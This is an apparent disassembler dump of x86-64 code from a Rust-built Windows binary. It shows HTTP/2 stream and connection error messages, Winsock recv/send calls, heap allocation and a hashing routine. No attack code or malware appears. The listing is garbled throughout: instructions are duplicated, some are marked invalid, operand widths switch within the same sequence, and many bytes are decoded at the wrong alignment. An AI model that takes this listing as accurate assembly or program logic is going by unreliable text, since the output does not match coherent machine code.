add dword [rax], eax
add byte [rax], al
movups xmm0, xmmword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
movups xmm1, xmmword [rsp + 0xa0]
adc byte [rsp + 0xa0], cl
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x30], ecx
and al, 0x30
movaps xmmword [rsp + 0x30], xmm1
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xe8]
lea ecx, [rsp + 0xe8]
lea ecx, [rsp + 0xe8]
lea rdx, [rsp + 0x20]
and al, 0x20
call fcn.14006d710
add byte [rax], al
mov rax, qword [rsp + 0xe8]
add byte [rax], al
test rax, rax
je 0x14006ca6e
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsi + 8], xmm0
or byte [rax - 0x75], r9b
mov word [rax + rax], fs
add dword [rax], eax
add byte [rax], al
mov qword [rsi], rax
mov rcx, qword [rsp + 0x100]
mov qword [rsi], rax
mov qword [rsi + 0x18], rcx
sbb sil, r8b
add bpl, cl
invalid
add dword [rax], eax
invalid
lea rcx, [rsp + 0xe8]
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov rdx, r14
mov rdx, r14
mov r8, r15
call fcn.140016e50
movups xmm0, xmmword [rsp + 0xe8]
adc byte [rsp + 0xe8], al
movups xmm1, xmmword [rsp + 0xf8]
adc byte [rsp + 0xf8], cl
add byte [rdi], cl
sub dword [rsp + 0x50], ecx
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov eax, dword [rsp + 0x10c]
test byte [rsp + rcx], ah
add dword [rax], eax
add byte [rcx - 0x7b74bbba], cl
and al, 9
add dword [rax], eax
add byte [rcx + 0x280f4146], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x140], cl
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x140], cl
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
movaps xmm2, xmmword [rsp + 0x40]
push rsp
and al, 0x40
push rsp
and al, 0x40
movaps xmm3, xmmword [rsp + 0x50]
push rax
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
invalid
xor byte [rdi], cl
adc dword [rsi + 0x20], edx
invalid
and byte [rdi], cl
adc dword [rsi + 0x10], ecx
invalid
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], cl
adc dword [rsi], eax
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 0
jmp 0x14006ca37
add byte [rdi], cl
mov dh, 0x43
add al, byte [rbx + 0x797463f8]
movzx eax, byte [rbx + 2]
cmp eax, 0x63
je 0x14006c9ae
cmp eax, 0x74
jne case.0x14006c10d.6
invalid
je 0x14006c948
test edx, esp
add byte [rax], al
add byte [rax + 0xf61037b], al
test eax, ebx
cmp byte [rbx + 3], 0x61
jne case.0x14006c10d.6
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf74047b], al
jnp 0x14006c94f
je 0x14006c95c
cmp byte [rbx + 4], 0x74
jne case.0x14006c10d.6
invalid
add byte [rax], al
invalid
je 0x14006c95c
test esi, ecx
add byte [rax], al
add byte [rax + 0xf75057b], al
invalid
jne 0x14006c966
cmp byte [rbx + 5], 0x75
jne case.0x14006c10d.6
test esp, eax
add byte [rax], al
invalid
add eax, 0xc4850f75
test esp, eax
add byte [rax], al
add byte [rax + 0xf73067b], al
test dword [rdx + 0x4c000000], edi
mov esi, dword [rsp + 0x98]
and al, 0x98
add byte [rax], al
invalid
cmp byte [rbx + 6], 0x73
jne case.0x14006c10d.6
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
mov rcx, r14
mov rdx, r15
call fcn.140082a10
test ax, ax
je 0x14006c1d2
mov word [rsi], ax
mov dword [rsi], eax
mov byte [rsi + 0x40], 7
jmp 0x14006ca37
mov cl, 0xb
mov byte [rsi], cl
mov byte [rsi + 0x40], 8
add rsp, 0x1d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
cmp byte [rbx + 3], 0x68
jne case.0x14006c10d.6
cmp byte [rbx + 4], 0x65
jne case.0x14006c10d.6
invalid
cmp byte [rbx + 5], 0x6d
jne case.0x14006c10d.6
cmp byte [rbx + 6], 0x65
jne case.0x14006c10d.6
pop rdx
pop rdx
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
sub dword [rsp + 0x30], ecx
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x30], ecx
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x20]
lea edx, [rsp + 0x20]
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rax - 0x73], cl
invalid
push rsp
lea edx, [rsp + 0x20]
and al, 0x20
call fcn.14006d710
mov rax, qword [rsp + 0xe8]
test rax, rax
je 0x14006ca6e
add byte [rax - 0x7b], cl
sal byte [rdi + rbp*2 + 0xf], 0x10
adc byte [rsp + 0xf0], al
movups xmmword [rsi + 8], xmm0
movups xmm0, xmmword [rsp + 0xf0]
adc byte [rsp + 0xf0], al
add byte [rax], al
movups xmmword [rsi + 8], xmm0
mov rcx, qword [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
mov qword [rsi], rax
mov qword [rsi + 0x18], rcx
mov dword [rsi + 0x18], ecx
mov dword [rsi + 0x18], ecx
mov byte [rsi + 0x40], 4
jmp 0x14006ca50
invalid
add al, 0xeb
xor dh, al
mov byte [rsi], 9
mov byte [rsi + 0x40], 8
mov r14, qword [rsp + 0x98]
invalid
mov r15, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x90]
mov eax, dword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
mov word [rax + rbp*4], fs
add byte [rax], al
lea rcx, [rsp + 0xa8]
mov rdx, r14
add byte [rcx + rcx*4 - 0xe], cl
mov r8, r15
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x160]
lea rcx, [rsp + 0x178]
mov rdx, rbx
mov r8, rdi
call qword [rax + reloc.WS2_32.dll_recv]
push rax
adc cl, ch
xor bh, bh
invalid
invalid
invalid
mov byte [rsi], 7
mov byte [rsi + 0x40], 8
jmp 0x14006ca50
push rbx
sub rsp, 0x58
mov rdi, rdx
movzx eax, byte [rdx + 0x40]
add al, 0xfe
movzx eax, al
lea rdx, [rax + 1]
xor r8d, r8d
cmp al, 6
cmovb r8, rdx
mov rsi, rcx
lea rax, [0x140208cf0]
movsxd rcx, dword [rax + r8*4]
add rcx, rax
jmp rcx
mov rax, qword [rdi]
test rax, rax
je 0x14006cb94
lea rdx, [rdi + 0x18]
mov r8, qword [rdi + 8]
mov r9, qword [rdi + 0x10]
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
and bh, bh
adc byte [rbx + rcx*4 + 0x74], cl
je 0x14006cafc
invalid
call qword [rax]
mov r14, qword [rsp + 0x20]
je 0x14006cafc
invalid
je 0x14006cafc
and byte [rdi], cl
mov dh, 0x5c
and al, 0x28
invalid
movzx ebx, byte [rsp + 0x28]
sub byte [rdi], cl
movups xmm0, xmmword [rsp + 0x29]
adc byte [rsp + 0x29], al
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x4f], rax
jmp 0x14006cb9b
lea rdx, [rdi + 0x18]
mov rax, qword [rdi]
push rdi
sbb byte [rax - 0x75], cl
invalid
mov eax, dword [rdi]
mov r8, qword [rdi + 8]
mov r9, qword [rdi + 0x10]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [rax]
mov byte [rsi + 0x40], 2
jmp 0x14006cc80
movzx eax, byte [rdi]
mov dh, 7
lea rcx, [0x140208d0c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
xor eax, eax
jmp fcn.14006cc64
add byte [rax], al
add byte [rax], al
lea rdx, [rdi + 0x18]
mov rax, qword [rdi]
mov eax, dword [rdi]
mov eax, dword [rdi]
mov r8, qword [rdi + 8]
mov r9, qword [rdi + 0x10]
mov ecx, dword [rdi + 0x10]
mov ecx, dword [rdi + 0x10]
mov rcx, rsi
call qword [rax]
adc dh, al
add al, 0xe9
invalid
add dword [rax], eax
invalid
adc dh, al
add al, 0xe9
xor eax, 0x48000001
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [rdi + 0x18]
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [rdi + 0x18]
mov rax, qword [rdi]
lea rdx, [rdi + 0x18]
mov rax, qword [rdi]
mov r8, qword [rdi + 8]
mov r9, qword [rdi + 0x10]
mov rcx, rsi
call qword [rax]
mov byte [rsi + 0x40], 5
jmp 0x14006cc80
lea rdx, [rdi + 0x18]
mov rax, qword [rdi]
mov r8, qword [rdi + 8]
mov r9, qword [rdi + 0x10]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [rax]
mov byte [rsi + 0x40], 6
jmp 0x14006cc80
movzx eax, word [rdi]
mov word [rsi], ax
mov byte [rsi + 0x40], 7
invalid
invalid
jmp 0x14006cc80
invalid
movzx ebx, byte [rdi + 8]
xor r14d, r14d
mov rax, qword [rsp + 0x4f]
mov qword [rsi + 0x18], rax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rsi + 9], xmm0
lea rdx, [rdi + 0x38]
mov rax, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
mov r9, qword [rdi + 0x30]
lea rcx, [rsi + 0x20]
and bh, bh
invalid
and bh, bh
adc byte [rdi], cl
movzx eax, byte [rdi + 0x40]
mov qword [rsi], r14
movzx eax, byte [rdi + 0x40]
mov qword [rsi], r14
mov byte [rsi + 8], bl
mov byte [rsi + 0x40], al
jmp 0x14006cc80
pop rsi
or byte [rax - 0x5416bfba], cl
jmp 0x14006cc80
mov al, 1
jmp fcn.14006cc64
jmp 0x14006cc80
add byte [rax], al
mov al, 1
jmp fcn.14006cc64
add byte [rax + 0x81e902], dh
add byte [rax], al
mov al, 2
jmp fcn.14006cc64
invalid
add byte [rax], al
invalid
add dword [rax], 0x3b00000
mov al, 3
jmp fcn.14006cc64
mov al, 4
jmp fcn.14006cc64
mov al, 5
jmp fcn.14006cc64
mov al, 6
jmp fcn.14006cc64
mov al, 7
jmp fcn.14006cc64
mov al, 8
jmp fcn.14006cc64
mov eax, dword [rdi + 1]
mov ecx, dword [rdi + 4]
mov dword [rsp + 0x23], ecx
mov dword [rsp + 0x20], eax
mov rbx, qword [rdi + 8]
movzx edi, byte [rdi + 0x10]
mov al, 9
jmp fcn.14006cc64
mov r14, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
test rdi, rdi
je 0x14006cc4f
js 0x14006cc8a
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, rdi
call fcn.140013830
mov rbx, rax
test rax, rax
jne 0x14006cc54
mov ecx, 1
mov rdx, rdi
call fcn.14015d7f0
ud2
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov al, 0xa
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.1400138d0
ud2
int3
int3
sub rsp, 0x20
mov rsi, rcx
movzx eax, byte [rcx + 0x40]
add al, 0xfe
dec byte [rdi]
mov dh, 0xc0
dec byte [rdi]
mov dh, 0xc0
lea rcx, [rax + 1]
lea ecx, [rax + 1]
xor edx, edx
cmp al, 6
cmovb rdx, rcx
lea rax, [0x140208d38]
ror dword [rax - 0x73], 1
add eax, 0x19c074
movsxd rcx, dword [rax + rdx*4]
add rcx, rax
jmp rcx
cmp qword [rsi], 0
je 0x14006cd36
mov rdx, qword [rsi + 0x10]
jmp 0x14006cd3f
push rsi
adc bl, ch
mov rax, qword [rsi + 0x10]
mov rax, qword [rsi + 0x10]
mov rax, qword [rsi + 0x10]
add rax, 0x2a
add eax, 0x2a
add rsp, 0x20
invalid
pop rsi
ret
movzx eax, byte [rsi]
lea rcx, [0x140208d54]
or eax, 0x19c063
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 7
jmp 0x14006cd05
mov rax, qword [rsi + 0x10]
add rax, 0x27
add rsp, 0x20
pop rsi
ret
invalid
mov rax, qword [rsi + 0x10]
add rax, 0x25
and eax, 0x20c48348
and eax, 0x20c48348
pop rsi
ret
mov rax, qword [rsi + 0x10]
add rax, 0x29
sub dword [rax - 0x7d], ecx
invalid
and byte [rsi - 0x3d], bl
sub dword [rax - 0x7d], ecx
invalid
mov eax, 0x2a
add rsp, 0x20
pop rsi
ret
movzx ecx, byte [rsi + 8]
call fcn.14007ec70
xor dword [rdi], ebx
add dword [rax], eax
xor dword [rdi], ebx
add dword [rax], eax
mov rax, qword [rsi + 0x30]
add rax, rdx
add rax, 0x20
and byte [rax - 0x7d], cl
invalid
invalid
xor byte [rax + 1], cl
ror byte [rax - 0x7d], 1
shl byte [rax], 0x48
and byte [rax - 0x7d], cl
invalid
invalid
and byte [rax - 0x7d], cl
invalid
pop rsi
ret
mov eax, 3
jmp 0x14006cd05
add bl, ch
scasb al, byte [rdi]
mov eax, 5
jmp 0x14006cd05
mov eax, 4
jmp 0x14006cd05
mov eax, 6
jmp 0x14006cd05
add bl, ch
cdq
movzx eax, byte [rsi + 0x10]
cmp rax, 0x10
jb 0x14006cd05
lea r8, [0x1401a9578]
mov edx, recv
add byte [rax], al
add byte [rax], al
mov rcx, rax
call fcn.140160f40
ud2
mov rsi, rcx
movzx eax, byte [rcx + 0x40]
add al, 0xfe
movzx ecx, al
mov dh, 0xc8
mov dh, 0xc8
lea rdx, [rcx + 1]
xor eax, eax
cmp cl, 6
cmovb rax, rdx
cmp rax, 5
add eax, 0x80870f
add byte [rax], al
add eax, 0x80870f
add byte [rax], al
lea rcx, [0x140208d80]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x10]
add rsi, 0x18
jmp 0x14006ce08
mov rax, qword [rsi]
test rax, rax
je 0x14006cdf4
lea rcx, [rsi + 0x18]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
sbb byte [rax - 0x75], r9b
push rsi
or byte [rbx + rcx*4 + 0x46], cl
adc bh, bh
push rax
adc byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
push rsi
sub byte [rax - 0x75], cl
adc byte [rbx + rcx*4 + 0x46], cl
xor byte [rax - 0x7d], cl
invalid
mov rax, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x30]
add rsi, 0x38
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp rax
cmp byte [rsi], 0xa
jb 0x14006ce38
cmp qword [rsi + 0x10], 0
je 0x14006ce38
mov r8, qword [rsi + 8]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
add byte [rax - 0x7d], cl
rol dword [rcx + rcx*2], 0xff
enter 0xfffffffffffff175, 0xffffffffffffffc7
add edi, edi
inc dword [rax]
add byte [rax - 0x75], cl
pop rsi
sbb byte [rbx + rcx*4 + 0x76], cl
and bl, ch
adc dword [rbp + 0x31], eax
dec dword [rax - 0x7b]
dec dword [rdi]
test dword [rsi], esi
invalid
add byte [rax], al
add byte [rax - 0x77], cl
sbb byte [rax - 0x77], r9b
jle 0x14006e2f8
lea ecx, [rdi - 1]
mov word [rsi + 0x58], cx
cmp r15, r14
ja 0x14006e4c6
fiadd word [rcx]
add byte [rax], al
fiadd word [rcx]
add byte [rax], al
lea rdx, [rbx + r15*4]
jne 0x14006e3bb
invalid
add byte [rbp - 0x7b], cl
push qword [rdi + rdx*2 + 0x49]
test r15, r15
je 0x14006e34e
mov r8, rbx
mov eax, ebx
jmp 0x14006e314
mov word [rax + r11*4], r9w
mov dword [rax + r11*4], r9d
mov word [rax + r11*4 + 2], r10w
add r8, 4
cmp r8, rdx
je 0x14006e34e
movzx r9d, word [r8]
cmp r9w, 0xffff
je 0x14006e30b
movzx r10d, word [r8 + 2]
mov r11d, r10d
and r11d, ecx
movzx r15d, r11w
nop
cmp dword [rax + rbx*4], 0xffffffff
je 0x14006e300
inc r11
mov r15, r11
invalid
jmp case.0x140059d16.448
mov rcx, rdi
shr rcx, 2
mov rax, qword [rsi + 0x30]
mov r15, qword [rsi + 0x38]
add rcx, r15
sub rdi, rcx
mov rcx, rax
sub rcx, r15
cmp rcx, rdi
jae 0x14006e466
add byte [rax], al
invalid
add r15, rdi
jb 0x14006e4ee
invalid
jae 0x14006e37a
add byte [rax], al
movabs rcx, 0x13b13b13b13b13c
adc edi, dword [rbx]
mov cl, reloc.WS2_32.dll_send
cmp eax, dword [rcx]
xor edx, edx
cmp r15, rcx
setb dl
imul r8, r15, 0x68
shl rdx, 3
test rax, rax
sub byte [rax + 0x6b], cl
shr byte [rax + 0x48], 0x89
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
jmp 0x14006e437
lea r8, [rbx + r14*4]
mov r9, rdx
jmp fcn.14006e3e8
mov word [rax + r12*4], r10w
mov dword [rax + riz*4], edx
mov word [rax + r12*4 + 2], r11w
add r9, 4
cmp r9, r8
cmp ecx, eax
cmp ecx, eax
je 0x14006e2f2
push qword [rax + rbp*8 + 0x45]
movzx ebx, word [rcx + 2]
mov ebp, r11d
and ebp, ecx
movzx r13d, bp
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov r12, r13
mov r13d, 0
cmp r12, rdi
jae 0x14006e410
cmp word [rax + r12*4], 0xffff
je 0x14006e3d0
inc r12
mov r13, r12
jmp 0x14006e410
mov dword [rsp + 0x30], 0
add byte [rax], al
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
call fcn.140058090
cmp qword [rsp + 0x40], 0
jl 0x14006e46e
add byte [rax - 0x75], cl
and al, 0x48
je 0x14006e48e
movabs rax, 0x8000000000000001
cmp rcx, rax
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc1
jne 0x14006e4e9
test dword [rbx + 0x4d000000], eax
test esi, esi
test r14, r14
je 0x14006e49b
mov rcx, qword [0x140215360]
mov r8, rbx
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax - 0x77], cl
sub byte [rcx + r9*4 + 0x7e], r9b
xor byte [rbp - 0x7b], cl
div byte [rbp - 0x30]
mov qword [rsi + 0x28], rcx
mov qword [rsi + 0x30], r15
test r14, r14
jne 0x14006e46b
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
push reloc.WS2_32.dll_shutdown
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov edx, 0x1c
call fcn.140161560
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, r15
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call fcn.140160e60
ud2
mov ecx, 2
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rbx
mov rdx, rbx
call fcn.14015d7f0
ud2
test rcx, rcx
jne 0x14006e4f5
call fcn.1400138d0
ud2
mov rdx, qword [rsp + 0x50]
call fcn.14015d7f0
ud2
int3
int3
int3
verr word [rsi + 0xf]
jg 0x14006e584
movdqa xmmword [rsp + 0x30], xmm1
and al, 0x30
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x140168640]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
add byte [rax], al
call fcn.140006000
test rdi, rdi
je 0x14006e635
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x14006e64e
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
and al, 0x28
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.140006000
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
and al, 0x48
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
xor ecx, eax
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
add eax, eax
add eax, eax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
rol eax, 0x15
adc eax, 0x48ca0148
rol ecx, 0x11
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x14006e7c8
movzx r9d, byte [r8]
mov dh, 8
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
mov dh, 0x40
add ecx, dword [rcx + rsi - 0x38]
mov dh, 0x40
add ecx, dword [rcx + rsi - 0x38]
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
cmp eax, ecx
cmp eax, ecx
jne 0x14006e760
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
add byte [rax], al
mov byte [rcx + 0x20], 0
ret
mov rsi, rcx
movzx eax, byte [rdx]
test rax, rax
je 0x14006e85f
cmp eax, 1
jne 0x14006e871
mov rax, qword [rdi + 8]
mov rcx, qword [rdi + 0x20]
mov qword [rbp - 0x10], rcx
movups xmm0, xmmword [rdi + 0x10]
movaps xmmword [rbp - 0x20], xmm0
mov ecx, dword [rdi + 4]
movzx r8d, byte [rdi + 1]
add dword [r10 + 0xd5e901], r14d
add byte [rax], al
add dword [r10 + 0xd5e901], r14d
add byte [rax], al
mov ecx, dword [rdi + 4]
mov eax, dword [rdi + 8]
movzx r8d, byte [rdi + 1]
xor edx, edx
jmp 0x14006e934
movzx ebx, byte [rdi + 1]
mov r14, qword [rdi + 8]
test r14, r14
je 0x14006e927
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14006e8ae
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14006e95e
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14006e95e
mov r15, rax
add rdi, 0x10
mov qword [rax], r14
movups xmm0, xmmword [rdi]
movups xmmword [rax + 8], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14006e8fe
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14006e96f
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14006e96f
mov qword [rax], r15
lea rcx, fcn.140022090
mov qword [rax + 8], rcx
mov byte [rax + 0x10], bl
inc rax
jmp 0x14006e932
movzx eax, bl
shl rax, 0x20
or rax, 3
mov dl, 4
mov byte [rsi], dl
mov byte [rsi + 1], r8b
mov dword [rsi + 4], ecx
mov qword [rsi + 8], rax
movaps xmm0, xmmword [rbp - 0x20]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rbp - 0x10]
mov qword [rsi + 0x20], rax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov ecx, 8
add byte [rax], al
mov edx, 0x18
call fcn.14015d7f0
ud2
mov qword [rbp - 8], r15
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x40
sub byte [rax - 0x73], cl
push 0x40
lea rdx, fcn.140022090
mov rcx, qword [rbp - 8]
jae 0x14006e9bd
add byte [rax - 0x75], cl
clc
call fcn.1401372e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
int3
in al, dx
jo 0x14006ea20
mov esi, ecx
movzx eax, byte [rcx]
lea rcx, [0x140208d98]
or eax, 0x19a3b4
or eax, 0x19a3b4
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
movzx eax, byte [rsi + 1]
test rax, rax
je 0x14006eacf
cmp eax, 1
jne 0x14006eb1e
mov eax, dword [rsi + 8]
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
lea rax, [rsp + 0x20]
lea eax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x14006ec70]
mov qword [rsp + 0x30], rax
lea rax, str.stream_error_detected:
jmp 0x14006eb42
movzx eax, byte [rsi + 1]
test rax, rax
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
ror byte [rdi], 0x84
mov esp, 0x83000000
clc
test byte [rax + rax - 0x77d0000], bh
cmp eax, 1
jne 0x14006eb87
add dword [rdi], ecx
test dword [rbp + 1], eax
add byte [rax], al
mov eax, dword [rsi + 4]
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
lea rax, [0x14006ec70]
mov qword [rsp + 0x30], rax
xor byte [rax - 0x73], cl
add eax, 0x127392
xor byte [rax - 0x73], cl
add eax, 0x127392
jmp 0x14006ebab
mov eax, dword [rsi + 4]
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
lea rax, [0x14006ec70]
mov qword [rsp + 0x30], rax
lea rax, str.protocol_error:_X
jmp 0x14006eb42
inc rsi
mov qword [rsp + 0x20], rsi
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x14006ed10]
mov qword [rsp + 0x30], rax
lea rax, str.user_error:
jmp 0x14006eb42
add rsi, 8
mov rcx, rsi
call fcn.140133df0
jmp 0x14006eb7e
mov eax, dword [rsi + 8]
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x14006ec70]
mov qword [rsp + 0x30], rax
lea rax, str.stream_error_sent_by_user:
jmp 0x14006eb42
mov eax, dword [rsi + 4]
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x14006ec70]
mov qword [rsp + 0x30], rax
lea rax, str.connection_error_sent_by_user:
jmp 0x14006ebab
mov eax, dword [rsi + 8]
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x14006ec70]
mov qword [rsp + 0x30], rax
lea rax, str.stream_error_received:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140059e20
nop
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [rsi + 4]
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x14006ec70]
mov qword [rsp + 0x30], rax
lea rax, str.connection_error_received:
mov qword [rsp + 0x38], rax
